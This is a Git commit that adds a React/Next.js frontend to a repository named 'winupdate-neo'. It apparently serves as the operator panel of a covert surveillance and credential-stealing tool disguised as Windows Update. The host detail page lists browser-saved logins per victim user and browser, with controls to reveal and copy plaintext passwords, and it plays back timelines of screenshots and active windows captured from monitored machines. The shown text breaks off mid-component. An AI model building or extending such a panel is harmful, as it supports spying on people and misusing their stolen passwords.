feie9454/winupdate-neo
1
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

complete frontend - refact from vue

Browse Source
This commit is contained in:
feie9456 2025-06-28 16:57:26 +08:00
parent 1e65c2d872
commit 1d41ad6ef1
9 changed files with 1772 additions and 96 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

0
app/api/version/route.ts → app/api/api/version/route.ts
View File

158
app/decode/page.tsx Normal file
View File

@ -0,0 +1,158 @@
'use client'
import { useState, useRef, useEffect } from 'react'
interface DecodedLine {
content: string
isError: boolean
}
export default function DecodePage() {
const [decodedLines, setDecodedLines] = useState<DecodedLine[]>([])
const [errorMessage, setErrorMessage] = useState('')
const resultRef = useRef<HTMLDivElement>(null)
// 转换 Unix 时间戳为本地时间字符串
const formatTimestamp = (line: string): string => {
const match = line.match(/^\[(\d+)\](.*)/)
if (match) {
const timestamp = parseInt(match[1])
const date = new Date(timestamp * 1000)
const formattedTime = date.toLocaleString('zh-CN', {
year: 'numeric',
month: '2-digit',
day: '2-digit',
hour: '2-digit',
minute: '2-digit',
second: '2-digit',
hour12: false
})
return `[${formattedTime}]${match[2]}`
}
return line
}
const decodeBase64 = (base64String: string): string => {
try {
const binaryString = atob(base64String.trim())
const bytes = new Uint8Array(binaryString.length)
for (let i = 0; i < binaryString.length; i++) {
bytes[i] = binaryString.charCodeAt(i)
}
const decoder = new TextDecoder('utf-8')
return decoder.decode(bytes)
} catch (e) {
throw new Error(`解码失败: ${(e as Error).message}`)
}
}
const scrollToBottom = () => {
if (resultRef.current) {
resultRef.current.scrollTop = resultRef.current.scrollHeight
}
}
// 当解码行数更新时滚动到底部
useEffect(() => {
if (decodedLines.length > 0) {
setTimeout(scrollToBottom, 100)
}
}, [decodedLines])
const handleFileChange = async (event: React.ChangeEvent<HTMLInputElement>) => {
const file = event.target.files?.[0]
if (!file) {
setErrorMessage('请选择文件')
return
}
try {
const text = await file.text()
const lines = text.split('\n')
const processedLines: DecodedLine[] = lines
.filter(line => line.trim())
.map((line, index) => {
try {
const decodedLine = decodeBase64(line)
const formattedLine = formatTimestamp(decodedLine)
return {
content: formattedLine,
isError: false
}
} catch (e) {
console.error(`第 ${index + 1} 行解码失败:`, e)
return {
content: `第 ${index + 1} 行解码失败: ${line}`,
isError: true
}
}
})
setDecodedLines(processedLines)
setErrorMessage('')
} catch (e) {
setErrorMessage('文件读取失败，请重试')
console.error('文件读取错误:', e)
}
}
return (
<div className="max-w-4xl mx-auto p-6">
<h1 className="text-2xl font-bold text-gray-800 mb-6">Base64 日志解码器</h1>
{/* 文件上传区域 */}
<div className="mb-8">
<div className="border-2 border-dashed border-gray-300 rounded-lg p-6 text-center">
<label className="block mb-4 text-sm font-medium text-gray-700">
选择日志文件：
</label>
<input
type="file"
accept=".txt,.log"
onChange={handleFileChange}
className="block w-full text-sm text-gray-500 file:mr-4 file:py-2 file:px-4
file:rounded-md file:border-0 file:text-sm file:font-semibold
file:bg-blue-50 file:text-blue-700 hover:file:bg-blue-100
cursor-pointer"
/>
</div>
</div>
{/* 错误提示 */}
{errorMessage && (
<div className="mb-6 p-4 bg-red-50 text-red-600 rounded-md">
{errorMessage}
</div>
)}
{/* 解码结果 */}
{decodedLines.length > 0 && (
<div className="space-y-2">
<h2 className="text-lg font-semibold text-gray-700 mb-4">解码结果：</h2>
<div
ref={resultRef}
className="bg-white shadow rounded-lg overflow-auto max-h-[600px]"
>
<div className="divide-y divide-gray-100">
{decodedLines.map((line, index) => (
<div
key={index}
className={`py-1.5 px-4 hover:bg-gray-50 leading-tight ${
line.isError ? 'bg-red-50' : ''
}`}
>
<pre className="whitespace-pre-wrap font-mono text-sm text-gray-800">
{line.content}
</pre>
</div>
))}
</div>
</div>
</div>
)}
</div>
)
}

147
app/hosts/[hostname]/components/RecordDatePicker.tsx Normal file
View File

@ -0,0 +1,147 @@
"use client";
import { useState, useMemo } from 'react';
interface RecordDatePickerProps {
value: string | null;
dailyCounts: Record<string, number>;
onChange: (date: string) => void;
}
export default function RecordDatePicker({ value, dailyCounts, onChange }: RecordDatePickerProps) {
const today = new Date();
const initialDate = value ? new Date(value) : today;
const [currentYear, setCurrentYear] = useState(initialDate.getFullYear());
const [currentMonth, setCurrentMonth] = useState(initialDate.getMonth());
const weekDays = ['日', '一', '二', '三', '四', '五', '六'];
const calendarDays = useMemo(() => {
const year = currentYear;
const month = currentMonth;
const firstDayOfMonth = new Date(year, month, 1);
const lastDayOfMonth = new Date(year, month + 1, 0);
const daysInMonth = lastDayOfMonth.getDate();
const startDayIndex = firstDayOfMonth.getDay();
const totalCells = Math.ceil((startDayIndex + daysInMonth) / 7) * 7;
const days = [];
const startDate = new Date(year, month, 1 - startDayIndex);
for (let i = 0; i < totalCells; i++) {
const date = new Date(startDate);
date.setDate(startDate.getDate() + i);
const dateString = `${date.getFullYear()}-${(date.getMonth() + 1)
.toString()
.padStart(2, '0')}-${date.getDate().toString().padStart(2, '0')}`;
days.push({
date,
day: date.getDate(),
isCurrentMonth: date.getMonth() === month,
dateString,
count: dailyCounts[dateString] || 0
});
}
return days;
}, [currentYear, currentMonth, dailyCounts]);
const maxCount = useMemo(() => {
let max = 0;
calendarDays.forEach((day) => {
if (day.count > max) {
max = day.count;
}
});
return max;
}, [calendarDays]);
const selectDay = (day: { date: Date; dateString: string; isCurrentMonth: boolean }) => {
if (!day.isCurrentMonth) {
setCurrentYear(day.date.getFullYear());
setCurrentMonth(day.date.getMonth());
}
onChange(day.dateString);
};
const getDayStyle = (day: { dateString: string; count: number }) => {
const styles: React.CSSProperties = {};
if (value === day.dateString) {
styles.outline = '2px solid #2563EB';
}
if (day.count > 0) {
const ratio = maxCount > 0 ? day.count / maxCount : 0;
const opacity = 0.3 + ratio * 0.7;
styles.backgroundColor = `rgba(16, 185, 129, ${opacity})`;
styles.color = opacity > 0.6 ? 'white' : 'black';
} else {
styles.backgroundColor = 'transparent';
styles.color = 'inherit';
}
return styles;
};
const prevMonth = () => {
if (currentMonth === 0) {
setCurrentYear(currentYear - 1);
setCurrentMonth(11);
} else {
setCurrentMonth(currentMonth - 1);
}
};
const nextMonth = () => {
if (currentMonth === 11) {
setCurrentYear(currentYear + 1);
setCurrentMonth(0);
} else {
setCurrentMonth(currentMonth + 1);
}
};
return (
<div className="p-4 bg-white rounded shadow">
{/* 月份切换头部 */}
<div className="flex items-center justify-between mb-2">
<button onClick={prevMonth} className="p-2 rounded hover:bg-gray-200">
&lt;
</button>
<div className="font-semibold text-lg">
{currentYear} - {(currentMonth + 1).toString().padStart(2, '0')}
</div>
<button onClick={nextMonth} className="p-2 rounded hover:bg-gray-200">
&gt;
</button>
</div>
{/* 星期标题 */}
<div className="grid grid-cols-7 gap-1 text-center text-sm font-medium text-gray-600 mb-1">
{weekDays.map((day) => (
<div key={day}>{day}</div>
))}
</div>
{/* 日历网格 */}
<div className="grid grid-cols-7 gap-1">
{calendarDays.map((day, index) => (
<div
key={index}
className={`p-2 my-1 rounded cursor-pointer text-sm flex items-center justify-center ${
!day.isCurrentMonth ? 'opacity-50' : ''
}`}
style={getDayStyle(day)}
onClick={() => selectDay(day)}
>
<div className="relative">
<span>{day.day}</span>
</div>
</div>
))}
</div>
</div>
);
}

219
app/hosts/[hostname]/components/TimelineSlider.tsx Normal file
View File

@ -0,0 +1,219 @@
"use client";
import { useRef, useState, useEffect, useCallback } from 'react';
import { format } from 'date-fns';
interface Segment {
start: number;
end: number;
active: boolean;
}
interface Marker {
time: number;
label?: string;
active?: boolean;
}
interface TimelineSliderProps {
minTime: number;
maxTime: number;
value: number;
mode?: 'default' | 'segments' | 'ticks';
segments?: Segment[];
markers?: Marker[];
onChange: (value: number) => void;
}
export default function TimelineSlider({
minTime,
maxTime,
value,
mode = 'default',
segments = [],
markers = [],
onChange
}: TimelineSliderProps) {
const sliderRef = useRef<HTMLDivElement>(null);
const [dragging, setDragging] = useState(false);
const [internalValue, setInternalValue] = useState(value);
const [showTooltip, setShowTooltip] = useState(false);
// 同步外部value到内部状态（只在非拖拽状态下）
useEffect(() => {
if (!dragging) {
setInternalValue(value);
}
}, [value, dragging]);
const formattedValue = format(new Date(internalValue), 'HH:mm:ss');
const percentage = ((internalValue - minTime) / (maxTime - minTime)) * 100;
const getSnapValue = useCallback((val: number): number => {
if (mode === 'ticks' && markers.length > 0) {
let closest = markers[0].time;
let minDiff = Math.abs(val - markers[0].time);
for (const marker of markers) {
const diff = Math.abs(val - marker.time);
if (diff < minDiff) {
minDiff = diff;
closest = marker.time;
}
}
return closest;
} else if (mode === 'segments' && segments.length > 0) {
let closestMidpoint: number | null = null;
let minDiff = Infinity;
for (const segment of segments) {
if (segment.active) {
const midpoint = (segment.start + segment.end) / 2;
const diff = Math.abs(val - midpoint);
if (diff < minDiff) {
minDiff = diff;
closestMidpoint = midpoint;
}
}
}
if (closestMidpoint !== null) {
return closestMidpoint;
}
}
return val;
}, [mode, markers, segments]);
// 使用ref来跟踪上次通知的值，避免频繁调用onChange
const lastNotifiedValue = useRef(value);
// 指针移动处理函数
const pointerMoveHandler = useCallback((event: PointerEvent) => {
if (!sliderRef.current) return;
const rect = sliderRef.current.getBoundingClientRect();
let x = event.clientX - rect.left;
x = Math.max(0, Math.min(x, rect.width));
const newValue = minTime + (x / rect.width) * (maxTime - minTime);
setInternalValue(newValue);
// 节流调用onChange，避免过于频繁的更新
const snapped = getSnapValue(newValue);
if (Math.abs(snapped - lastNotifiedValue.current) > 100) { // 100ms的节流
lastNotifiedValue.current = snapped;
onChange(snapped);
}
}, [minTime, maxTime, getSnapValue, onChange]);
// 指针释放处理函数
const pointerUpHandler = useCallback(() => {
setDragging(false);
setShowTooltip(false);
window.removeEventListener('pointermove', pointerMoveHandler);
window.removeEventListener('pointerup', pointerUpHandler);
// 最终确保调用onChange通知最新的值
setInternalValue(currentValue => {
const snapped = getSnapValue(currentValue);
lastNotifiedValue.current = snapped;
onChange(snapped);
return snapped;
});
}, [getSnapValue, onChange, pointerMoveHandler]);
// 指针按下处理函数
const onPointerDown = (event: React.PointerEvent) => {
event.stopPropagation();
event.preventDefault();
if (!sliderRef.current) return;
const rect = sliderRef.current.getBoundingClientRect();
let x = event.clientX - rect.left;
x = Math.max(0, Math.min(x, rect.width));
const newValue = minTime + (x / rect.width) * (maxTime - minTime);
setDragging(true);
setShowTooltip(true);
setInternalValue(newValue);
// 立即通知父组件值的变化
const snapped = getSnapValue(newValue);
lastNotifiedValue.current = snapped;
onChange(snapped);
window.addEventListener('pointermove', pointerMoveHandler);
window.addEventListener('pointerup', pointerUpHandler);
};
const getSegmentStyle = (segment: Segment) => {
const startPercent = ((segment.start - minTime) / (maxTime - minTime)) * 100;
const endPercent = ((segment.end - minTime) / (maxTime - minTime)) * 100;
const widthPercent = endPercent - startPercent;
return {
position: 'absolute' as const,
left: `${startPercent}%`,
width: `${widthPercent}%`,
height: '100%',
backgroundColor: segment.active ? '#4ADE80' : '#E5E7EB',
borderLeft: '1px solid #E5E7EB',
borderRight: '1px solid #E5E7EB',
};
};
const getMarkerStyle = (marker: Marker) => {
const pos = ((marker.time - minTime) / (maxTime - minTime)) * 100;
return {
position: 'absolute' as const,
left: `${pos}%`,
top: '50%',
width: '2px',
height: '100%',
backgroundColor: marker.active ? '#4ADE80' : '#9CA3AF',
transform: 'translate(-50%, -50%)'
};
};
return (
<div
ref={sliderRef}
className="relative h-10 select-none"
style={{ touchAction: 'none' }}
onPointerDown={onPointerDown}
>
{/* 底部轨道 */}
<div
className="absolute top-1/2 left-0 right-0 h-1.5 bg-gray-200 transform -translate-y-1/2 rounded-sm"
>
{/* Segments 模式 */}
{mode === 'segments' && segments.map((segment, index) => (
<div
key={index}
style={getSegmentStyle(segment)}
/>
))}
{/* Ticks 模式 */}
{mode === 'ticks' && markers.map((marker, index) => (
<div
key={index}
style={getMarkerStyle(marker)}
/>
))}
</div>
{/* 可拖动的滑块 */}
<div
className="absolute top-1/2 w-5 h-5 bg-green-400 border-2 border-white rounded-full shadow-lg cursor-pointer z-10"
style={{
left: `${percentage}%`,
transform: 'translate(-50%, -50%)',
}}
onPointerDown={onPointerDown}
>
{/* Tooltip */}
{showTooltip && (
<div className="absolute bottom-full left-1/2 transform -translate-x-1/2 mb-2 px-2 py-1 bg-black bg-opacity-70 text-white text-xs rounded whitespace-nowrap">
{formattedValue}
</div>
)}
</div>
</div>
);
}

902
app/hosts/[hostname]/page.tsx Normal file
View File

@ -0,0 +1,902 @@
"use client";
import { useState, useEffect, useRef, useMemo, useCallback } from 'react';
import { useParams, useRouter } from 'next/navigation';
import {
ArrowLeft,
RefreshCcw,
ChevronDown,
User,
Globe,
Link,
Clipboard,
ShieldAlert,
Loader2
} from 'lucide-react';
import { format, differenceInMinutes } from 'date-fns';
import TimelineSlider from './components/TimelineSlider';
import RecordDatePicker from './components/RecordDatePicker';
interface Screenshot {
fileId: string;
filename: string;
monitorName: string;
}
interface Window {
title: string;
path: string;
memory: number;
}
interface ScreenRecord {
timestamp: string;
windows: Window[];
screenshots: Screenshot[];
}
interface TimeDistributionPoint {
count: number;
timestamp: number;
}
interface Password {
value: string;
timestamp: string;
}
interface Credential {
_id: string;
hostname: string;
username: string;
browser: string;
url: string;
login: string;
passwords: Password[];
lastSyncTime: Date;
}
interface BrowserGroup {
name: string;
credentials: Credential[];
}
interface UserGroup {
username: string;
browsers: BrowserGroup[];
total: number;
lastSyncTime?: string;
}
interface Segment {
start: number;
end: number;
active: boolean;
}
interface Marker {
time: number;
label?: string;
active?: boolean;
}
export default function HostDetail() {
const params = useParams();
const router = useRouter();
const hostname = params.hostname as string;
// 状态管理
const [activeTab, setActiveTab] = useState('screenshots');
const [timeDistribution, setTimeDistribution] = useState<TimeDistributionPoint[]>([]);
const [records, setRecords] = useState<ScreenRecord[]>([]);
const [selectedRecord, setSelectedRecord] = useState<ScreenRecord | null>(null);
const [loadingDistribution, setLoadingDistribution] = useState(false);
const [loadingRecords, setLoadingRecords] = useState(false);
const [showDetailTimeline, setShowDetailTimeline] = useState(false);
const [lastUpdate, setLastUpdate] = useState<string | null>(null);
// 凭据相关状态
const [credentials, setCredentials] = useState<Credential[]>([]);
const [loadingCredentials, setLoadingCredentials] = useState(false);
const [expandedUsers, setExpandedUsers] = useState<string[]>([]);
const [expandedBrowsers, setExpandedBrowsers] = useState<string[]>([]);
const [expandedCredentials, setExpandedCredentials] = useState<string[]>([]);
const [revealedPasswords, setRevealedPasswords] = useState<string[]>([]);
// 日历和滑块状态
const [selectedDate, setSelectedDate] = useState<string | null>(null);
const [timeRange, setTimeRange] = useState({ min: 0, max: 0 });
const [hourlySliderValue, setHourlySliderValue] = useState(0);
const [detailedSliderValue, setDetailedSliderValue] = useState(0);
// 播放控制
const [currentFrameIndex, setCurrentFrameIndex] = useState(-1);
const [autoPlay, setAutoPlay] = useState(false);
const [autoPlaySpeed, setAutoPlaySpeed] = useState(200);
const [imagesLoadedCount, setImagesLoadedCount] = useState(0);
const [imageAspectRatio, setImageAspectRatio] = useState(16 / 9);
const autoPlayTimer = useRef<NodeJS.Timeout | null>(null);
// 格式化内存大小
const formatMemory = (bytes: number) => {
if (typeof bytes !== 'number') return '0 B';
const units = ['B', 'KB', 'MB', 'GB'];
let size = bytes;
let unitIndex = 0;
while (size >= 1024 && unitIndex < units.length - 1) {
size /= 1024;
unitIndex++;
}
return `${size.toFixed(1)} ${units[unitIndex]}`;
};
// 格式化日期
const formatDate = (date: string, type: 'full' | 'short' = 'full') => {
if (type === 'short') {
return format(new Date(date), 'MM-dd HH:mm');
}
return format(new Date(date), 'yyyy-MM-dd HH:mm:ss');
};
// 获取时间分布数据
const fetchTimeDistribution = async () => {
try {
setLoadingDistribution(true);
const response = await fetch(`/api/hosts/${hostname}/time-distribution`);
if (!response.ok) throw new Error('获取时间分布数据失败');
const data = await response.json();
setTimeDistribution(data.distribution);
} catch (error) {
console.error('获取时间分布数据失败:', error);
} finally {
setLoadingDistribution(false);
}
};
// 获取凭据数据
const fetchCredentials = async () => {
try {
setLoadingCredentials(true);
const response = await fetch(`/api/hosts/${hostname}/credentials`);
if (!response.ok) throw new Error('获取凭据数据失败');
const data = await response.json();
setCredentials(data);
if (data.length > 0) {
const firstUser = data[0].username;
if (!expandedUsers.includes(firstUser)) {
setExpandedUsers([firstUser]);
}
}
} catch (error) {
console.error('获取凭据数据失败:', error);
} finally {
setLoadingCredentials(false);
}
};
// 获取小时记录
const fetchHourlyRecords = async (startTime: number, endTime: number) => {
try {
setLoadingRecords(true);
setShowDetailTimeline(true);
const response = await fetch(
`/api/hosts/${hostname}/screenshots?startTime=${startTime}&endTime=${endTime}`
);
if (!response.ok) throw new Error('获取记录数据失败');
const data = await response.json();
setRecords(data.records.reverse());
setLastUpdate(data.lastUpdate);
setTimeRange({ min: startTime * 1000, max: endTime * 1000 });
requestAnimationFrame(() => {
setSelectedRecord(data.records[0]);
});
} catch (error) {
console.error('获取记录数据失败:', error);
} finally {
setLoadingRecords(false);
}
};
// 组织凭据数据按用户分组
const credentialsByUser = useMemo<UserGroup[]>(() => {
const userMap = new Map<string, Credential[]>();
credentials.forEach(cred => {
if (!userMap.has(cred.username)) {
userMap.set(cred.username, []);
}
userMap.get(cred.username)!.push(cred);
});
const result: UserGroup[] = [];
userMap.forEach((userCreds, username) => {
const latestSyncTime = userCreds.reduce((latest, cred) => {
const credTime = new Date(cred.lastSyncTime);
return credTime > latest ? credTime : latest;
}, new Date(0)).toISOString();
const browserMap = new Map<string, Credential[]>();
userCreds.forEach(cred => {
if (!browserMap.has(cred.browser)) {
browserMap.set(cred.browser, []);
}
browserMap.get(cred.browser)!.push(cred);
});
const browsers: BrowserGroup[] = [];
browserMap.forEach((browserCreds, browserName) => {
browsers.push({
name: browserName,
credentials: browserCreds
});
});
result.push({
username,
browsers,
total: userCreds.length,
lastSyncTime: latestSyncTime
});
});
return result;
}, [credentials]);
// 日历相关计算
const dailyCounts = useMemo(() => {
const map: Record<string, number> = {};
timeDistribution.forEach(point => {
const d = new Date(point.timestamp * 1000);
const dateStr = `${d.getFullYear()}-${(d.getMonth() + 1).toString().padStart(2, '0')}-${d.getDate().toString().padStart(2, '0')}`;
map[dateStr] = (map[dateStr] || 0) + point.count;
});
return map;
}, [timeDistribution]);
// 小时分布滑块相关计算
const hourlyMinTime = useMemo(() => {
if (selectedDate) {
const [year, month, day] = selectedDate.split('-').map(Number);
const dayStart = new Date(year, month - 1, day);
return dayStart.getTime();
}
if (timeDistribution.length === 0) return Date.now();
const minSec = Math.min(...timeDistribution.map(d => d.timestamp));
return minSec * 1000;
}, [selectedDate, timeDistribution]);
const hourlyMaxTime = useMemo(() => {
if (selectedDate) {
const [year, month, day] = selectedDate.split('-').map(Number);
const dayStart = new Date(year, month - 1, day);
const dayEnd = new Date(dayStart);
dayEnd.setDate(dayStart.getDate() + 1);
return dayEnd.getTime();
}
if (timeDistribution.length === 0) return Date.now();
const maxSec = Math.max(...timeDistribution.map(d => d.timestamp));
return (maxSec + 3599) * 1000;
}, [selectedDate, timeDistribution]);
const hourlySegments = useMemo(() => {
const segments: Segment[] = [];
if (selectedDate) {
const [year, month, day] = selectedDate.split('-').map(Number);
const dayStart = new Date(year, month - 1, day);
const startSec = Math.floor(dayStart.getTime() / 1000);
const dayEnd = new Date(dayStart);
dayEnd.setDate(dayEnd.getDate() + 1);
const endSec = Math.floor(dayEnd.getTime() / 1000);
for (let t = startSec; t < endSec; t += 3600) {
const segStart = t * 1000;
const segEnd = (t + 3600) * 1000;
const data = timeDistribution.find(d => d.timestamp >= t && d.timestamp < t + 3600);
segments.push({
start: segStart,
end: segEnd,
active: !!data && data.count > 0
});
}
} else {
if (timeDistribution.length === 0) return segments;
const startSec = Math.min(...timeDistribution.map(d => d.timestamp));
const endSec = Math.max(...timeDistribution.map(d => d.timestamp));
for (let t = startSec; t <= endSec; t += 3600) {
const segStart = t * 1000;
const segEnd = (t + 3600) * 1000;
const data = timeDistribution.find(d => d.timestamp === t);
segments.push({
start: segStart,
end: segEnd,
active: data ? data.count > 0 : false
});
}
}
return segments;
}, [selectedDate, timeDistribution]);
// 详细时间点标记
const detailedMarkers = useMemo(() => {
return records.map(record => ({
time: new Date(record.timestamp).getTime(),
label: format(new Date(record.timestamp), 'HH:mm:ss'),
active: true
}));
}, [records]);
// 计算属性
const allImagesLoaded = useMemo(() => {
if (!selectedRecord) return false;
return imagesLoadedCount >= selectedRecord.screenshots.length;
}, [selectedRecord, imagesLoadedCount]);
// 事件处理函数
const onHourlySliderChange = (newValue: number) => {
const selectedSec = Math.floor(newValue / 3600000) * 3600;
// 使用 setTimeout 避免在渲染过程中更新状态
setTimeout(() => {
setHourlySliderValue(newValue);
fetchHourlyRecords(selectedSec, selectedSec + 3600);
}, 0);
};
const onDetailedSliderChange = (newValue: number) => {
if (records.length === 0) return;
const targetTime = newValue;
let closestRecord = records[0];
let minDiff = Math.abs(new Date(closestRecord.timestamp).getTime() - targetTime);
for (const record of records) {
const diff = Math.abs(new Date(record.timestamp).getTime() - targetTime);
if (diff < minDiff) {
minDiff = diff;
closestRecord = record;
}
}
// 使用 setTimeout 避免在渲染过程中更新状态
setTimeout(() => {
setSelectedRecord(closestRecord);
setDetailedSliderValue(newValue);
}, 0);
};
// 展开/折叠功能
const toggleUserExpanded = (username: string) => {
if (expandedUsers.includes(username)) {
setExpandedUsers(expandedUsers.filter(u => u !== username));
} else {
setExpandedUsers([...expandedUsers, username]);
}
};
const toggleBrowserExpanded = (browserKey: string) => {
if (expandedBrowsers.includes(browserKey)) {
setExpandedBrowsers(expandedBrowsers.filter(b => b !== browserKey));
} else {
setExpandedBrowsers([...expandedBrowsers, browserKey]);
}
};
const toggleCredentialExpanded = (credId: string) => {
if (expandedCredentials.includes(credId)) {
setExpandedCredentials(expandedCredentials.filter(c => c !== credId));
} else {
setExpandedCredentials([...expandedCredentials, credId]);
}
};
const revealPassword = (passwordKey: string) => {
if (!revealedPasswords.includes(passwordKey)) {
setRevealedPasswords([...revealedPasswords, passwordKey]);
}
};
const copyToClipboard = async (text: string) => {
try {
await navigator.clipboard.writeText(text);
} catch (err) {
console.error('复制失败:', err);
}
};
// 播放控制
const nextFrame = () => {
if (currentFrameIndex < records.length - 1) {
setCurrentFrameIndex(currentFrameIndex + 1);
setSelectedRecord(records[currentFrameIndex + 1]);
} else {
setAutoPlay(false);
}
stopAutoPlayTimer();
};
const prevFrame = () => {
if (currentFrameIndex > 0) {
setCurrentFrameIndex(currentFrameIndex - 1);
setSelectedRecord(records[currentFrameIndex - 1]);
}
stopAutoPlayTimer();
};
const toggleAutoPlay = () => {
setAutoPlay(!autoPlay);
};
const startAutoPlayTimer = useCallback(() => {
if (allImagesLoaded && autoPlay) {
autoPlayTimer.current = setTimeout(() => {
nextFrame();
}, autoPlaySpeed);
}
}, [allImagesLoaded, autoPlay, autoPlaySpeed, currentFrameIndex, records.length]);
const stopAutoPlayTimer = () => {
if (autoPlayTimer.current) {
clearTimeout(autoPlayTimer.current);
autoPlayTimer.current = null;
}
};
const onImageLoad = (event: React.SyntheticEvent<HTMLImageElement>, fileId: string) => {
setImagesLoadedCount(prev => prev + 1);
const imgEl = event.target as HTMLImageElement;
if (imgEl.naturalHeight !== 0) {
setImageAspectRatio(imgEl.naturalWidth / imgEl.naturalHeight);
}
};
// Effects
useEffect(() => {
fetchTimeDistribution();
fetchCredentials();
}, [hostname]);
useEffect(() => {
if (!selectedDate && Object.keys(dailyCounts).length > 0) {
const dates = Object.keys(dailyCounts).sort();
if (dates.length > 0) {
setSelectedDate(dates[0]);
}
}
}, [dailyCounts, selectedDate]);
useEffect(() => {
setHourlySliderValue(hourlyMinTime);
}, [hourlyMinTime]);
useEffect(() => {
if (selectedDate) {
const activeSegment = hourlySegments.find(s => s.active);
const newValue = activeSegment ? activeSegment.start + 1800000 : hourlyMinTime;
setHourlySliderValue(newValue);
onHourlySliderChange(newValue);
}
}, [selectedDate, hourlySegments, hourlyMinTime]);
useEffect(() => {
setDetailedSliderValue(timeRange.min);
}, [timeRange.min]);
useEffect(() => {
setImagesLoadedCount(0);
if (selectedRecord) {
const idx = records.findIndex(rec => rec.timestamp === selectedRecord.timestamp);
setCurrentFrameIndex(idx);
setDetailedSliderValue(new Date(selectedRecord.timestamp).getTime());
}
if (autoPlay && allImagesLoaded) {
startAutoPlayTimer();
}
}, [selectedRecord, records, autoPlay, allImagesLoaded, startAutoPlayTimer]);
useEffect(() => {
if (autoPlay && allImagesLoaded) {
stopAutoPlayTimer();
startAutoPlayTimer();
}
}, [autoPlay, allImagesLoaded, autoPlaySpeed, startAutoPlayTimer]);
return (
<div className="min-h-screen bg-gray-50 overflow-x-hidden">
<div className="max-w-8xl mx-auto py-6 px-4 sm:px-6 lg:px-8">
{/* 头部导航 */}
<div className="flex items-center justify-between mb-8">
<div>
<button
onClick={() => router.back()}
className="inline-flex items-center text-gray-600 hover:text-gray-900"
>
<ArrowLeft className="h-5 w-5 mr-2" />
返回
</button>
<h1 className="text-3xl font-semibold text-gray-900 mt-2">
{hostname}
</h1>
</div>
{lastUpdate && (
<div className="text-sm text-gray-500">
最后更新: {formatDate(lastUpdate)}
</div>
)}
</div>
{/* 选项卡导航 */}
<div className="mb-6 border-b border-gray-200">
<nav className="-mb-px flex space-x-8">
<button
onClick={() => setActiveTab('screenshots')}
className={`py-2 px-1 border-b-2 font-medium text-sm ${
activeTab === 'screenshots'
? 'border-blue-600 text-blue-600'
: 'border-transparent text-gray-500 hover:text-gray-700 hover:border-gray-300'
}`}
>
截图时间线
</button>
<button
onClick={() => setActiveTab('credentials')}
className={`py-2 px-1 border-b-2 font-medium text-sm ${
activeTab === 'credentials'
? 'border-blue-600 text-blue-600'
: 'border-transparent text-gray-500 hover:text-gray-700 hover:border-gray-300'
}`}
>
凭据信息
</button>
</nav>
</div>
{/* 截图时间线选项卡 */}
{activeTab === 'screenshots' && (
<div>
{/* 小时分布滑块（时间分布） */}
<div className="mb-8">
<div className="flex justify-between items-center mb-4">
<h2 className="text-lg font-medium text-gray-900">时间分布</h2>
<button
onClick={fetchTimeDistribution}
className="p-2 rounded hover:bg-gray-100"
>
<RefreshCcw className={`h-5 w-5 text-gray-600 ${loadingDistribution ? 'animate-spin' : ''}`} />
</button>
</div>
<RecordDatePicker
value={selectedDate}
dailyCounts={dailyCounts}
onChange={setSelectedDate}
/>
{hourlySegments.length > 0 ? (
<div className="mt-4">
<TimelineSlider
minTime={hourlyMinTime}
maxTime={hourlyMaxTime}
value={hourlySliderValue}
mode="segments"
segments={hourlySegments}
onChange={onHourlySliderChange}
/>
</div>
) : (
<div className="text-gray-500 mt-4">加载时间分布中...</div>
)}
</div>
{/* 详细时间点滑块 */}
{showDetailTimeline && (
<div className="mb-8">
<div className="flex justify-between items-center mb-4">
<h2 className="text-lg font-medium text-gray-900">时间点详情</h2>
<button
onClick={() => {
const selectedSec = Math.floor(hourlySliderValue / 3600000) * 3600;
fetchHourlyRecords(selectedSec, selectedSec + 3600);
}}
className="p-2 rounded hover:bg-gray-100"
>
<RefreshCcw className={`h-5 w-5 text-gray-600 ${loadingRecords ? 'animate-spin' : ''}`} />
</button>
</div>
{records.length > 0 ? (
<TimelineSlider
minTime={timeRange.min}
maxTime={timeRange.max}
value={detailedSliderValue}
mode="ticks"
markers={detailedMarkers}
onChange={onDetailedSliderChange}
/>
) : (
<div className="text-gray-500">加载记录中...</div>
)}
</div>
)}
{/* 图片预览区域及控制按钮 */}
{selectedRecord && (
<div className="bg-white rounded-lg shadow-sm p-6">
{/* 图片预览区域 */}
{selectedRecord.screenshots.map((screenshot, sIndex) => (
<div key={sIndex} className="relative mb-6">
<div
className="relative w-full"
style={{ aspectRatio: imageAspectRatio }}
>
<img
src={`/api/screenshots/${screenshot.fileId}`}
alt={screenshot.monitorName}
className="absolute top-0 left-0 w-full h-full object-contain shadow-sm hover:shadow-md transition-shadow"
onLoad={(e) => onImageLoad(e, screenshot.fileId)}
/>
</div>
{/* 图片说明 */}
<div className="absolute bottom-4 left-4 bg-black bg-opacity-60 text-white px-2 py-1 rounded">
<div className="text-sm">{screenshot.monitorName}</div>
<div className="text-xs">
{new Date(selectedRecord.timestamp).toLocaleString()}
</div>
</div>
{/* 左侧点击区域 - 上一帧 */}
<div
onPointerDown={(e) => { e.preventDefault(); prevFrame(); }}
onTouchStart={(e) => e.preventDefault()}
className="absolute bottom-0 left-0 h-full w-1/3 text-white px-2 py-1 cursor-pointer"
/>
{/* 右侧点击区域 - 下一帧 */}
<div
onPointerDown={(e) => { e.preventDefault(); nextFrame(); }}
onTouchStart={(e) => e.preventDefault()}
className="absolute bottom-0 right-0 h-full w-1/3 text-white px-2 py-1 cursor-pointer"
/>
</div>
))}
{/* 控制按钮区域 */}
<div className="flex flex-col sm:flex-row items-center justify-center mb-4 space-y-2 sm:space-y-0 sm:space-x-3">
<label className="flex items-center space-x-1">
<span className="text-sm text-gray-600">速度</span>
<input
type="number"
value={autoPlaySpeed}
onChange={(e) => setAutoPlaySpeed(Number(e.target.value))}
className="w-16 text-sm px-1 py-1 border rounded focus:outline-none"
min="100"
max="2000"
step="100"
/>
<span className="text-sm text-gray-600">ms</span>
</label>
<button
onClick={toggleAutoPlay}
className="px-4 py-2 bg-blue-600 hover:bg-blue-700 text-white text-sm rounded focus:outline-none"
>
{!autoPlay ? '播放' : '暂停'}
</button>
</div>
{/* 窗口信息 */}
<div className="w-full">
<h3 className="text-lg font-medium text-gray-900 mb-3">活动窗口</h3>
<div className="bg-gray-50 rounded-md p-4">
<div className="grid grid-cols-1 sm:grid-cols-2 lg:grid-cols-3 xl:grid-cols-4 gap-4">
{selectedRecord.windows.map((window, index) => (
